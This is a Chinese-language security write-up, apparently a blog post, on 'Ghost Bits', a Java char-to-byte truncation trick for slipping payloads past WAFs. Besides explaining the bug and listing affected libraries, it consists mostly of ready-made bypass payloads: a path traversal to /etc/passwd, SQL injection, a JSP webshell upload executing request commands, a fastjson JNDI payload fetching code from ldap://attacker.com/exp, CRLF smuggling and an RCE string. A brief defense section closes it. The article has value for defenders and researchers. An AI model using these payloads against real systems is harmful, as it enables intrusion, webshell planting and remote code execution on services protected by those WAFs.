原理

Java的char类型位16位(2字节),而byte类型仅为8位(1字节)。当Java代码通过(byte)ch、ch & 0xFF、baos.write(ch)、DataOutputStream#writeBytes()等方式将 char转换为 byte时,高 8 位会被静默丢弃,只保留低 8 位,这一丢失的高位数据即被称为”幽灵比特位(Ghost Bits)”。

以汉字「爻」(U+2F58)为例:

1
爻  →  U+2F58  →  二进制:00101111 | 00111010(byte) 转换后:高 8 位 0x2F 丢弃,低 8 位 0x3A → 'X'

攻击者可利用这一特性,将攻击 Payload 中的关键 ASCII 字符替换为经过精心选取的 Unicode 字符(其低 8 位与原字符一致),使 WAF 看到的是无意义的 Unicode 字符序列,而后端 Java 服务解码时高位截断还原为原始攻击载荷,从而绕过基于字符串特征的安全检测。

影响

WAF/IDS 全面绕过:攻击者通过 Ghost Bits 变形 Payload 可绕过绝大多数现有基于规则的 WAF 检测,使已有安全防护形同虚设。

触发多类高危漏洞:

  • SQL 注入:Jackson charToHex(ch & 255)截断,SQL 注入 Payload 隐写于 Unicode 字符中,WAF 无告警,后端还原并执行。
  • 反序列化 RCE:BCEL ClassLoader 解码、fastjson \u/ \x转义均存在 Ghost Bits,可绕过 WAF 触发反序列化远程代码执行。
  • 文件上传绕过:Tomcat RFC2231Utility处理文件名时截断高位,可将 .jsp伪装为非敏感 Unicode 字符,绕过 WAF 上传 Webshell。
  • 路径穿越 / 认证绕过:Spring、Jetty、Undertow、Vert.x 等框架 URL 解码路径存在 Ghost Bits,可绕过 WAF 实现目录穿越;Openfire CVE-2023-32315 可借此绕过 WAF 防护直接利用。
  • 已知高危 CVE WAF 绕过:GeoServer CVE-2024-36401(CVSS 9.8)、Spring4Shell(CVE-2022-22965)等漏洞的现有 WAF 防护均可被 Ghost Bits 变体 Payload 绕过,直接触发 RCE。
  • SMTP 注入:Angus Mail 等邮件库存在 Ghost Bits,可将隐写 CRLF 序列还原为换行符,触发 SMTP 注入,实现邮件劫持或业务逻辑绕过(已在 Jira、Confluence 上复现)。
  • HTTP 请求走私 / XSS:Apache HttpClient(≤ 4.5.9)、JDK 原生 HttpServer 等组件同样受 Ghost Bits CRLF 影响。

影响范围

组件 漏洞类型
Apache Commons BCEL WAF 绕过 / 反序列化 RCE
Jackson Databind WAF 绕过 / SQL 注入
Fastjson WAF 绕过 / 反序列化 RCE
Apache Tomcat 文件上传绕过(Webshell)
Spring Framework URL 解码绕过 / 路径穿越
Jetty URL 解码绕过 / CRLF 注入
Undertow URL 解码绕过
Vert.x URL 解码绕过
Angus Mail SMTP 注入
Apache HttpClient ≤ 4.5.9 HTTP 请求走私(HTTPCLIENT-1974/1978)
ActiveJ HTTP CRLF 注入
Lettuce(Redis 客户端) Redis 命令注入
Jodd 路径穿越
XMLWriter XML 标签注入

工具

幽灵比特 Ghost Bits · 在线转换工具

https://s1ksec.github.io/ghost-bits-analyzer/ghost_Bits_CN.html

https://github.com/TideSec/TscanPlus

利用

Ghost Bits利用的本质:

image.png

路径穿越

CVE-2025-41242就是利用Ghost Bits(幽灵比特位)实现路径穿越攻击的

幽灵字符 Unicode 低字节 等价原字符
阮 U+962E 0x2E . (点)
严 U+4E25 0x25 %
灵 U+7075 0x75 u
丰 U+4E30 0x30 0
甲 U+7532 0x32 2
来 U+6765 0x65 e

此时阮严灵丰丰甲来 → 截断后变为 .%u002e → Jetty 会解析为 .. → 路径穿越成功。

.的Unicode转义写法为%u002e

1
/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/etc/passw%64

SQL注入

目标字符 Unicode构造 低8位
1 \u0131 0x31
' \u0127 0x27
O \u014F 0x4F
R \u0152 0x52
空格 \u0120 0x20
= \u013D 0x3D
- \u012D 0x2D
1
2
3
4
5
6
7
POST /login HTTP/1.1
Host: victim.com
Content-Type: application/json

{
"id": "\u0131\u0127\u0120\u014F\u0152\u0120\u0131\u013D\u0131\u0120\u012D\u012D"
}

WAF视角:

1
ıħ  ŏŖ ıĽı --

实际截断后:

1
2
3
4
5
6
7
POST /login HTTP/1.1
Host: victim.com
Content-Type: application/json

{
"id": "1' or 1=1 --"
}

文件上传

字符 替换Unicode 低8位
j 陪 (U+966A) 0x6A
s 獳 0x73
p 瀰 0x70

上传shell:

1
shell.jsp
1
2
3
4
5
6
7
8
9
POST /upload HTTP/1.1
Host: victim.com
Content-Type: multipart/form-data; boundary=----WebKitForm

------WebKitForm
Content-Disposition: form-data; name="file"; filename*=UTF-8''shell.陪獳瀰

<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
------WebKitForm--

filename*=UTF-8'' 是 HTTP 头字段 Content-Disposition 中的一个语法,用于传递包含非 ASCII 字符的文件名,即能传递Unicode编码字符。

此时WAF检测视角为:

1
filename = shell.陪獳瀰

从而绕过

fastjson反序列化

攻击payload(原始):

1
2
3
4
5
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://attacker.com/exp",
"autoCommit":true
}

Ghost Bits版本(绕过WAF):

1
2
3
4
5
{
"\u0140type":"\u1263\u116f\u8c6d.\ue473\u4e75\u166e.\u2e72\ua06f\ud577\u3673\u7565\u2274.\u1d4a\u0b64\ue262\u8d63\u5352\ub26f\ubd77\ucf53\u6165\u3074\u4949\ucc6d\u8f70\ub46c",
"dataSourceName":"ldap://attacker.com/exp",
"autoCommit":true
}

从而绕过@和JdbcRowSetImpl关键字的检测

CRLF注入

字符 Unicode 低8位
\r \u010D 0x0D
\n \u010A 0x0A

攻击payload(原始):

1
2
3
4
GET / HTTP/1.1
Host: victim.com

X-Test: test\r\n\r\nGET /admin HTTP/1.1

Ghost Bits版本(绕过WAF):

1
2
3
GET / HTTP/1.1
Host: victim.com
X-Test: test\u010D\u010A\u010D\u010AGET /admin HTTP/1.1

RCE

攻击payload(原始):

1
Runtime.getRuntime().exec("calc");

Ghost Bits版本(绕过WAF):

1
\u0152untime.\u0167et\u0152untime().exec

防御

WAF 规则:现有基于字符串特征的 WAF 规则对 Ghost Bits 变形 Payload 防护效果有限,建议在解码层面进行语义检测,或引入 Unicode 规范化预处理后再执行规则匹配。

代码层面:排查自研代码中 (byte)ch、ch & 0xFF、baos.write(ch)、DataOutputStream#writeBytes()等写法,改为使用 String.getBytes(StandardCharsets.UTF_8)等明确指定编码的方式。

输入验证:在输入校验阶段对关键字段(文件名、邮件地址、URL 参数、JSON 键名等)严格过滤非 ASCII 字符或进行 Unicode 归一化(NFC/NFKC)处理。